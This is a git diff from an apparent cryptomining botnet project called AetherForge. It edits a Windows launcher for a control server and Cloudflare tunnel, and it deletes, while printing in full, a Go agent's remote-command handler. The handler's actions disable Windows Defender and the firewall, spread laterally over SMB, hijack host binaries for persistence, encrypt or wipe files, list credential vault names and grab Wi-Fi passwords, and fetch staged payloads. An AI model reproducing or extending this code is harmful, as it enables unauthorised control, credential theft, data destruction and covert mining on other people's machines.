|
||||||
|
if not exist "%PREP%" set "PREP=%REPO%\..\scripts\launch-prep.bat"
|
||||||
|
if exist "%PREP%" (
|
||||||
|
call "%PREP%" "%REPO%"
|
||||||
|
if errorlevel 1 (
|
||||||
|
echo.
|
||||||
|
echo LAUNCH prep failed - fix errors above and retry.
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
) else (
|
||||||
|
echo [Prep] launch-prep.bat not found - skipping pull/UI build.
|
||||||
|
)
|
||||||
|
|
||||||
|
if /i "%AF_LAUNCH_DRY_RUN%"=="1" (
|
||||||
|
echo.
|
||||||
|
echo [Dry run] Prep steps OK - not starting tunnel or server.
|
||||||
|
pause
|
||||||
|
exit /b 0
|
||||||
|
)
|
||||||
|
|
||||||
:: Portable deck root = folder that contains AetherForge.exe (repo usb\ or copied USB drive)
|
:: Portable deck root = folder that contains AetherForge.exe (repo usb\ or copied USB drive)
|
||||||
|
set "ROOT="
|
||||||
if exist "%CD%\AetherForge.exe" (
|
if exist "%CD%\AetherForge.exe" (
|
||||||
set "ROOT=!CD!"
|
set "ROOT=!CD!"
|
||||||
) else if exist "%CD%\usb\AetherForge.exe" (
|
) else if exist "%CD%\usb\AetherForge.exe" (
|
||||||
cd /d "%CD%\usb"
|
cd /d "%CD%\usb"
|
||||||
set "ROOT=!CD!"
|
set "ROOT=!CD!"
|
||||||
) else (
|
|
||||||
echo.
|
|
||||||
echo ERROR: AetherForge.exe not found.
|
|
||||||
echo Expected next to this script, or in usb\AetherForge.exe
|
|
||||||
echo Run pack-usb.bat from the repo to build the portable bundle.
|
|
||||||
echo.
|
|
||||||
pause
|
|
||||||
exit /b 1
|
|
||||||
)
|
)
|
||||||
|
|
||||||
|
if defined ROOT if exist "%ROOT%\AetherForge.exe" goto portable_deck
|
||||||
|
|
||||||
|
:: No portable binary - dev control server from repo
|
||||||
|
goto dev_server_launch
|
||||||
|
|
||||||
|
:portable_deck
|
||||||
|
|
||||||
if not exist "%ROOT%\AetherForge.exe" (
|
if not exist "%ROOT%\AetherForge.exe" (
|
||||||
echo ERROR: AetherForge.exe missing in %ROOT%
|
echo ERROR: AetherForge.exe missing in %ROOT%
|
||||||
pause
|
pause
|
||||||
@@ -50,7 +79,6 @@ if exist "%BUNDLED_GO%" (
|
|||||||
goto go_ready
|
goto go_ready
|
||||||
)
|
)
|
||||||
|
|
||||||
:: Check if Go is installed system-wide
|
|
||||||
where go >nul 2>nul
|
where go >nul 2>nul
|
||||||
if not errorlevel 1 (
|
if not errorlevel 1 (
|
||||||
echo [Go] Using system Go installation.
|
echo [Go] Using system Go installation.
|
||||||
@@ -58,7 +86,6 @@ if not errorlevel 1 (
|
|||||||
goto go_ready
|
goto go_ready
|
||||||
)
|
)
|
||||||
|
|
||||||
:: Go not found anywhere - skip optional tools, proceed directly to server
|
|
||||||
echo.
|
echo.
|
||||||
echo [Go] Go not found - Forge obfuscation tools unavailable. Running server without them.
|
echo [Go] Go not found - Forge obfuscation tools unavailable. Running server without them.
|
||||||
echo.
|
echo.
|
||||||
@@ -66,17 +93,11 @@ goto server_launch
|
|||||||
|
|
||||||
:go_ready
|
:go_ready
|
||||||
|
|
||||||
:: ----------------------------------------------------------------
|
|
||||||
:: 2. Pin all Go caches to the USB so module downloads travel with you
|
|
||||||
:: ----------------------------------------------------------------
|
|
||||||
set "GOPATH=%ROOT%\toolchain\gopath"
|
set "GOPATH=%ROOT%\toolchain\gopath"
|
||||||
set "GOMODCACHE=%ROOT%\toolchain\gopath\pkg\mod"
|
set "GOMODCACHE=%ROOT%\toolchain\gopath\pkg\mod"
|
||||||
set "GOCACHE=%ROOT%\toolchain\gocache"
|
set "GOCACHE=%ROOT%\toolchain\gocache"
|
||||||
set "GOENV=off"
|
set "GOENV=off"
|
||||||
|
|
||||||
:: ----------------------------------------------------------------
|
|
||||||
:: 3. Install optional Forge tools if missing (non-fatal)
|
|
||||||
:: ----------------------------------------------------------------
|
|
||||||
if /i not "%AF_INSTALL_TOOLS%"=="0" (
|
if /i not "%AF_INSTALL_TOOLS%"=="0" (
|
||||||
if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" (
|
if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" (
|
||||||
echo [Tools] Installing garble...
|
echo [Tools] Installing garble...
|
||||||
@@ -95,9 +116,8 @@ if /i not "%AF_INSTALL_TOOLS%"=="0" (
|
|||||||
|
|
||||||
:server_launch
|
:server_launch
|
||||||
|
|
||||||
:: ----------------------------------------------------------------
|
echo.
|
||||||
:: 4. Ensure data directories exist
|
echo Ensuring data directories...
|
||||||
:: ----------------------------------------------------------------
|
|
||||||
if not exist "%ROOT%\data\builds" mkdir "%ROOT%\data\builds"
|
if not exist "%ROOT%\data\builds" mkdir "%ROOT%\data\builds"
|
||||||
if not exist "%ROOT%\data\logs" mkdir "%ROOT%\data\logs"
|
if not exist "%ROOT%\data\logs" mkdir "%ROOT%\data\logs"
|
||||||
if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
|
if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
|
||||||
@@ -105,9 +125,6 @@ if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
|
|||||||
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
|
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
|
||||||
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
|
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
|
||||||
|
|
||||||
:: ----------------------------------------------------------------
|
|
||||||
:: 5. Detect LAN IP for display
|
|
||||||
:: ----------------------------------------------------------------
|
|
||||||
set "SERVER_PORT=8989"
|
set "SERVER_PORT=8989"
|
||||||
set "CONFIG_FILE=%ROOT%\data\config.json"
|
set "CONFIG_FILE=%ROOT%\data\config.json"
|
||||||
if exist "%CONFIG_FILE%" (
|
if exist "%CONFIG_FILE%" (
|
||||||
@@ -123,9 +140,7 @@ set "LAN_IP=localhost"
|
|||||||
:lan_done
|
:lan_done
|
||||||
set "LAN_IP=%LAN_IP: =%"
|
set "LAN_IP=%LAN_IP: =%"
|
||||||
|
|
||||||
:: ----------------------------------------------------------------
|
echo Stopping stale processes...
|
||||||
:: 6. Kill any stale server and tunnel processes
|
|
||||||
:: ----------------------------------------------------------------
|
|
||||||
taskkill /F /IM AetherForge.exe >nul 2>nul
|
taskkill /F /IM AetherForge.exe >nul 2>nul
|
||||||
taskkill /F /IM cloudflared.exe >nul 2>nul
|
taskkill /F /IM cloudflared.exe >nul 2>nul
|
||||||
ping -n 2 127.0.0.1 >nul
|
ping -n 2 127.0.0.1 >nul
|
||||||
@@ -139,12 +154,11 @@ echo LAN: http://%LAN_IP%:%SERVER_PORT%
|
|||||||
echo Data: %ROOT%\data\
|
echo Data: %ROOT%\data\
|
||||||
echo.
|
echo.
|
||||||
echo Login accounts: admin + comrade ^(passwords below after start^).
|
echo Login accounts: admin + comrade ^(passwords below after start^).
|
||||||
echo Cloudflare tunnel starts below ^(LAUNCH + server^).
|
|
||||||
echo Press Ctrl+C to stop.
|
echo Press Ctrl+C to stop.
|
||||||
echo ================================================================
|
echo ================================================================
|
||||||
echo.
|
echo.
|
||||||
|
|
||||||
:: Start Cloudflare connector before server ^(works with old or new AetherForge.exe^)
|
echo Starting tunnel...
|
||||||
set "CF_SCRIPT=%ROOT%\scripts\usb-start-cloudflared.ps1"
|
set "CF_SCRIPT=%ROOT%\scripts\usb-start-cloudflared.ps1"
|
||||||
if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%ROOT%\..\scripts\usb-start-cloudflared.ps1"
|
if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%ROOT%\..\scripts\usb-start-cloudflared.ps1"
|
||||||
if exist "%CF_SCRIPT%" (
|
if exist "%CF_SCRIPT%" (
|
||||||
@@ -154,31 +168,123 @@ if exist "%CF_SCRIPT%" (
|
|||||||
)
|
)
|
||||||
echo.
|
echo.
|
||||||
|
|
||||||
:: Ensure cwd matches deck root so webroot resolution finds usb\webroot
|
|
||||||
cd /d "%ROOT%"
|
cd /d "%ROOT%"
|
||||||
|
|
||||||
:: Open browser after short delay
|
|
||||||
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
|
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
|
||||||
|
|
||||||
:: Launch server (LAUNCH already started cloudflared above — tell server not to spawn a second copy)
|
echo Starting server...
|
||||||
set "AF_TUNNEL_EXTERNAL=1"
|
set "AF_TUNNEL_EXTERNAL=1"
|
||||||
"%ROOT%\AetherForge.exe" -data "%ROOT%\data"
|
"%ROOT%\AetherForge.exe" -data "%ROOT%\data"
|
||||||
set "EC=!ERRORLEVEL!"
|
set "EC=!ERRORLEVEL!"
|
||||||
|
|
||||||
if exist "%ROOT%\data\cloudflared.pid" (
|
call :cleanup_tunnel "%ROOT%"
|
||||||
for /f "usebackq" %%P in ("%ROOT%\data\cloudflared.pid") do (
|
goto server_stopped
|
||||||
|
|
||||||
|
:dev_server_launch
|
||||||
|
echo.
|
||||||
|
echo No AetherForge.exe - starting dev control server ^(repo^).
|
||||||
|
echo ^(Run pack-usb.bat for portable USB bundle.^)
|
||||||
|
echo.
|
||||||
|
|
||||||
|
set "PATH=C:\Program Files\Go\bin;%USERPROFILE%\go\bin;C:\Program Files\nodejs;%PATH%"
|
||||||
|
set "DATA=%REPO%\data"
|
||||||
|
set "DECK=%REPO%"
|
||||||
|
if exist "%REPO%\usb\tools\cloudflared.exe" set "DECK=%REPO%\usb"
|
||||||
|
if exist "%REPO%\usb\data" if not exist "%DECK%\data" set "DECK=%REPO%\usb"
|
||||||
|
|
||||||
|
echo Ensuring data directories...
|
||||||
|
if not exist "%DATA%\builds" mkdir "%DATA%\builds"
|
||||||
|
if not exist "%DATA%\logs" mkdir "%DATA%\logs"
|
||||||
|
if not exist "%DATA%\spread-kits" mkdir "%DATA%\spread-kits"
|
||||||
|
if not exist "%DATA%\uploads" mkdir "%DATA%\uploads"
|
||||||
|
if not exist "%DATA%\blueprints" mkdir "%DATA%\blueprints"
|
||||||
|
if not exist "%DATA%\preps" mkdir "%DATA%\preps"
|
||||||
|
if not exist "%REPO%\bin" mkdir "%REPO%\bin"
|
||||||
|
|
||||||
|
set "SERVER_PORT=8989"
|
||||||
|
set "CONFIG_FILE=%DATA%\config.json"
|
||||||
|
if exist "%CONFIG_FILE%" (
|
||||||
|
for /f "usebackq delims=" %%P in (`powershell -NoProfile -Command "try { $j = Get-Content -Raw '%CONFIG_FILE%' | ConvertFrom-Json; if ($j.port) { $j.port } } catch { }"`) do (
|
||||||
|
if not "%%P"=="" set "SERVER_PORT=%%P"
|
||||||
|
)
|
||||||
|
)
|
||||||
|
set "LAN_IP=localhost"
|
||||||
|
|
||||||
|
echo Stopping stale processes...
|
||||||
|
taskkill /F /IM miner-server.exe >nul 2>nul
|
||||||
|
taskkill /F /IM AetherForge.exe >nul 2>nul
|
||||||
|
taskkill /F /IM cloudflared.exe >nul 2>nul
|
||||||
|
ping -n 2 127.0.0.1 >nul
|
||||||
|
|
||||||
|
where go >nul 2>nul
|
||||||
|
if errorlevel 1 (
|
||||||
|
echo ERROR: Go not found - install from https://go.dev/dl/ or use pack-usb.bat
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
if not exist "%REPO%\bin\miner-server.exe" (
|
||||||
|
echo Building control server...
|
||||||
|
cd /d "%REPO%\server"
|
||||||
|
go mod download >nul 2>nul
|
||||||
|
go build -ldflags="-s -w" -o "..\bin\miner-server.exe" .
|
||||||
|
if errorlevel 1 (
|
||||||
|
cd /d "%REPO%"
|
||||||
|
echo ERROR: Server build failed.
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
cd /d "%REPO%"
|
||||||
|
)
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ================================================================
|
||||||
|
echo STARTING CONTROL SERVER ^(dev^)
|
||||||
|
echo ================================================================
|
||||||
|
echo Dashboard: http://localhost:%SERVER_PORT%
|
||||||
|
echo Data: %DATA%\
|
||||||
|
echo ================================================================
|
||||||
|
echo.
|
||||||
|
|
||||||
|
echo Starting tunnel...
|
||||||
|
set "CF_SCRIPT=%REPO%\scripts\usb-start-cloudflared.ps1"
|
||||||
|
if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%DECK%\scripts\usb-start-cloudflared.ps1"
|
||||||
|
if exist "%CF_SCRIPT%" (
|
||||||
|
powershell -NoProfile -ExecutionPolicy Bypass -File "%CF_SCRIPT%" -DeckRoot "%DECK%"
|
||||||
|
) else (
|
||||||
|
echo [Tunnel] WARNING: usb-start-cloudflared.ps1 not found.
|
||||||
|
)
|
||||||
|
echo.
|
||||||
|
|
||||||
|
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
|
||||||
|
|
||||||
|
echo Starting server...
|
||||||
|
cd /d "%REPO%"
|
||||||
|
set "AF_TUNNEL_EXTERNAL=1"
|
||||||
|
"%REPO%\bin\miner-server.exe" -data "%DATA%"
|
||||||
|
set "EC=!ERRORLEVEL!"
|
||||||
|
|
||||||
|
call :cleanup_tunnel "%DECK%"
|
||||||
|
goto server_stopped
|
||||||
|
|
||||||
|
:cleanup_tunnel
|
||||||
|
set "TROOT=%~1"
|
||||||
|
if exist "%TROOT%\data\cloudflared.pid" (
|
||||||
|
for /f "usebackq" %%P in ("%TROOT%\data\cloudflared.pid") do (
|
||||||
taskkill /F /PID %%P >nul 2>nul
|
taskkill /F /PID %%P >nul 2>nul
|
||||||
)
|
)
|
||||||
del "%ROOT%\data\cloudflared.pid" 2>nul
|
del "%TROOT%\data\cloudflared.pid" 2>nul
|
||||||
)
|
)
|
||||||
taskkill /F /IM cloudflared.exe >nul 2>nul
|
taskkill /F /IM cloudflared.exe >nul 2>nul
|
||||||
|
exit /b 0
|
||||||
|
|
||||||
|
:server_stopped
|
||||||
echo.
|
echo.
|
||||||
if "!EC!"=="0" (
|
if "!EC!"=="0" (
|
||||||
echo [Server] Stopped normally.
|
echo [Server] Stopped normally.
|
||||||
) else (
|
) else (
|
||||||
echo [Server] Exited with code !EC!.
|
echo [Server] Exited with code !EC!.
|
||||||
echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
|
echo If port %SERVER_PORT% is in use, close other server windows and retry.
|
||||||
)
|
)
|
||||||
|
|
||||||
echo.
|
echo.
|
||||||
|
|||||||
@@ -1,400 +0,0 @@
|
|||||||
package client
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/json"
|
|
||||||
"fmt"
|
|
||||||
"runtime"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
|
|
||||||
"crypto-miner-agent/deploy"
|
|
||||||
)
|
|
||||||
|
|
||||||
func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
|
||||||
switch action {
|
|
||||||
case "hole_punch", "hole_punch_close", "hole_punch_status":
|
|
||||||
if !c.cfg.HolePunch {
|
|
||||||
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
|
|
||||||
}
|
|
||||||
case "spread_now", "spread_smb_unc", "discover_and_join":
|
|
||||||
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
|
||||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
|
||||||
}
|
|
||||||
case "stage_fetch":
|
|
||||||
if !c.cfg.RemoteAggressive {
|
|
||||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
|
||||||
}
|
|
||||||
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
|
|
||||||
"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
|
|
||||||
if !c.cfg.RemoteAggressive {
|
|
||||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
|
||||||
}
|
|
||||||
case "tunnel_status", "tunnel_wireguard":
|
|
||||||
// Always available — read-only or Path Tracer config from server.
|
|
||||||
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover":
|
|
||||||
// No forge gate — enumeration-only recon (Path Tracer + fleet discover).
|
|
||||||
case "mesh_status":
|
|
||||||
if !c.cfg.MeshP2P {
|
|
||||||
return false, "mesh P2P not enabled in forge"
|
|
||||||
}
|
|
||||||
default:
|
|
||||||
return true, ""
|
|
||||||
}
|
|
||||||
return true, ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
|
|
||||||
if c.handleTunnelCommand(action, command, path, data) {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
|
|
||||||
ok, reason := c.allowRemoteAction(action)
|
|
||||||
if !ok {
|
|
||||||
c.sendCommandResult(action, false, reason)
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
|
|
||||||
switch action {
|
|
||||||
case "hole_punch":
|
|
||||||
internalPort := parsePortArg(command, 8989)
|
|
||||||
externalPort := parsePortArg(path, internalPort)
|
|
||||||
desc := data
|
|
||||||
if desc == "" {
|
|
||||||
desc = c.cfg.WorkerName + "-aetherforge"
|
|
||||||
}
|
|
||||||
result, err := deploy.PunchUPnP(internalPort, externalPort, desc)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, result.Message)
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, result.Message)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "hole_punch_close":
|
|
||||||
externalPort := parsePortArg(command, 8989)
|
|
||||||
msg, err := deploy.CloseUPnP(externalPort)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, err.Error())
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "hole_punch_status":
|
|
||||||
ip, err := deploy.GetPublicEndpoint()
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, err.Error())
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip))
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "spread_now":
|
|
||||||
msg := deploy.RunSpreadOnce(c.cfg)
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "spread_smb_unc":
|
|
||||||
unc := strings.TrimSpace(path)
|
|
||||||
svcName := ""
|
|
||||||
if unc == "" {
|
|
||||||
unc = strings.TrimSpace(data)
|
|
||||||
} else {
|
|
||||||
svcName = strings.TrimSpace(data)
|
|
||||||
}
|
|
||||||
msg := deploy.RunSMBUNCSpread(c.cfg, deploy.SMBUNCSpreadOpts{
|
|
||||||
UNCPath: unc,
|
|
||||||
MaxHosts: parsePortArg(command, 64),
|
|
||||||
SvcName: svcName,
|
|
||||||
})
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "stage_fetch":
|
|
||||||
var manifest deploy.StagingManifest
|
|
||||||
if err := json.Unmarshal([]byte(data), &manifest); err != nil {
|
|
||||||
c.sendCommandResult(action, false, "bad staging manifest: "+err.Error())
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
go func() {
|
|
||||||
msg, err := deploy.RunStagingChain(c.cfg, manifest)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, err.Error())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
}()
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "subnet_scan":
|
|
||||||
maxHosts := parsePortArg(command, 64)
|
|
||||||
out := deploy.ScanLocalSubnet(maxHosts)
|
|
||||||
c.sendCommandResult(action, true, out)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "smb_shares":
|
|
||||||
if runtime.GOOS != "windows" {
|
|
||||||
c.sendCommandResult(action, false, "smb_shares is Windows-only")
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
maxHosts := parsePortArg(command, 32)
|
|
||||||
out := deploy.EnumerateSMBShares(maxHosts)
|
|
||||||
c.sendCommandResult(action, true, out)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "spread_status":
|
|
||||||
out := deploy.GetSpreadStatusJSON()
|
|
||||||
c.sendCommandResult(action, true, out)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "credential_vault_list":
|
|
||||||
out := listCredentialVaultNames()
|
|
||||||
c.sendCommandResult(action, true, out)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "secure_wipe":
|
|
||||||
target := strings.TrimSpace(path)
|
|
||||||
if target == "" {
|
|
||||||
c.sendCommandResult(action, false, "path is required")
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
go func() {
|
|
||||||
result := SecureWipePath(target)
|
|
||||||
ok := !strings.HasPrefix(result, "secure_wipe error:")
|
|
||||||
c.sendCommandResult(action, ok, result)
|
|
||||||
}()
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "defender_off":
|
|
||||||
msg, err := deploy.DisableDefenderRealtime()
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "firewall_punch":
|
|
||||||
port := parsePortArg(command, 8989)
|
|
||||||
name := path
|
|
||||||
if name == "" {
|
|
||||||
name = "AetherForge Remote " + c.cfg.WorkerName
|
|
||||||
}
|
|
||||||
msg, err := deploy.OpenFirewallPort(port, name)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "firewall_off":
|
|
||||||
msg, err := deploy.DisableWindowsFirewall()
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "firewall_on":
|
|
||||||
msg, err := deploy.EnableWindowsFirewall()
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "firewall_profiles":
|
|
||||||
// command: "on" or "off" (default off). path: Domain,Private,Public or all
|
|
||||||
enable := strings.EqualFold(strings.TrimSpace(command), "on") ||
|
|
||||||
strings.EqualFold(strings.TrimSpace(command), "enable") ||
|
|
||||||
strings.EqualFold(strings.TrimSpace(command), "true")
|
|
||||||
profiles := strings.TrimSpace(path)
|
|
||||||
if profiles == "" {
|
|
||||||
profiles = "all"
|
|
||||||
}
|
|
||||||
msg, err := deploy.SetWindowsFirewallProfiles(enable, profiles)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "bits_persist":
|
|
||||||
bin, err := deploy.InstalledBinaryPath(c.cfg)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, err.Error())
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
if err := deploy.CreateBITSPersistence(c.cfg, bin); err != nil {
|
|
||||||
c.sendCommandResult(action, false, err.Error())
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, fmt.Sprintf("BITS notify job registered (%s)", deploy.BitsJobName(c.cfg)))
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "host_binary_persist":
|
|
||||||
bin, err := deploy.InstalledBinaryPath(c.cfg)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, err.Error())
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
preset := strings.TrimSpace(path)
|
|
||||||
if preset == "" {
|
|
||||||
preset = strings.TrimSpace(c.cfg.HostBinaryTarget)
|
|
||||||
}
|
|
||||||
if preset == "" {
|
|
||||||
preset = "ssh"
|
|
||||||
}
|
|
||||||
target, err := deploy.HijackHostBinary(c.cfg, bin, preset)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, err.Error())
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, fmt.Sprintf("host binary hijacked: %s (preset %s)", target, preset))
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "firewall_remove":
|
|
||||||
var parts []string
|
|
||||||
ruleName := strings.TrimSpace(path)
|
|
||||||
if ruleName != "" {
|
|
||||||
msg, err := deploy.RemoveFirewallRuleByName(ruleName)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
parts = append(parts, msg)
|
|
||||||
}
|
|
||||||
deploy.RemoveFirewallExclusion(c.cfg)
|
|
||||||
parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
|
|
||||||
c.sendCommandResult(action, true, strings.Join(parts, "\n"))
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "supp_seek":
|
|
||||||
seekPath := strings.TrimSpace(path)
|
|
||||||
if seekPath == "" {
|
|
||||||
c.sendCommandResult(action, false, "path is required — set the 'path' field to the root directory to scan")
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
// command field carries target flags: "win", "mac", "all" (default all)
|
|
||||||
flag := strings.ToLower(strings.TrimSpace(command))
|
|
||||||
opts := suppSeekOpts{
|
|
||||||
DropWindows: flag == "" || flag == "all" || strings.Contains(flag, "win"),
|
|
||||||
DropMac: flag == "" || flag == "all" || strings.Contains(flag, "mac"),
|
|
||||||
ServerURL: c.cfg.ServerURL,
|
|
||||||
}
|
|
||||||
// data field carries optional custom stem (file name without extension)
|
|
||||||
if strings.TrimSpace(data) != "" {
|
|
||||||
opts.FileStem = strings.TrimSpace(data)
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, fmt.Sprintf("SUPP Seek started — scanning %s (win=%v mac=%v)", seekPath, opts.DropWindows, opts.DropMac))
|
|
||||||
go func() {
|
|
||||||
result := suppSeekWalk(seekPath, opts)
|
|
||||||
c.sendCommandResult("supp_seek_done", true, result.Summary())
|
|
||||||
}()
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "sys_crypt", "encrypt_path":
|
|
||||||
target := strings.TrimSpace(path)
|
|
||||||
recursive := parseRecursiveFlag(command, data)
|
|
||||||
if action == "sys_crypt" && target == "" {
|
|
||||||
recursive = true
|
|
||||||
}
|
|
||||||
go func() {
|
|
||||||
var result string
|
|
||||||
if target == "" && action == "sys_crypt" {
|
|
||||||
result = SysCrypt()
|
|
||||||
} else {
|
|
||||||
result = EncryptPath(target, recursive)
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, result)
|
|
||||||
}()
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "get_wifi_passwords":
|
|
||||||
go func() {
|
|
||||||
result := grabWiFiPasswords()
|
|
||||||
c.sendCommandResult(action, true, result)
|
|
||||||
}()
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "mesh_status":
|
|
||||||
count := c.mesh.PeerCount()
|
|
||||||
if count == 0 && c.cfg.MeshP2P {
|
|
||||||
c.sendCommandResult(action, true, "mesh peers connected: 0 — binary not built with -tags p2p — re-forge with Mesh Networking enabled")
|
|
||||||
} else {
|
|
||||||
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
|
|
||||||
}
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "wg_setup":
|
|
||||||
// Generates WireGuard keypair, tries UPnP, returns JSON result to server.
|
|
||||||
go func() {
|
|
||||||
result := WGSetupJSON()
|
|
||||||
c.sendCommandResult(action, true, result)
|
|
||||||
}()
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "wg_configure":
|
|
||||||
// data field carries the JSON WGConfigPayload from the server.
|
|
||||||
var payload WGConfigPayload
|
|
||||||
if err := json.Unmarshal([]byte(data), &payload); err != nil {
|
|
||||||
c.sendCommandResult(action, false, "bad wg config payload: "+err.Error())
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
go func() {
|
|
||||||
if err := WGConfigure(payload); err != nil {
|
|
||||||
c.sendCommandResult(action, false, err.Error())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, "WireGuard tunnel started")
|
|
||||||
}()
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "wg_teardown":
|
|
||||||
go func() {
|
|
||||||
WGTeardown()
|
|
||||||
c.sendCommandResult(action, true, "WireGuard tunnel removed")
|
|
||||||
}()
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "wg_status":
|
|
||||||
c.sendCommandResult(action, true, WGStatus())
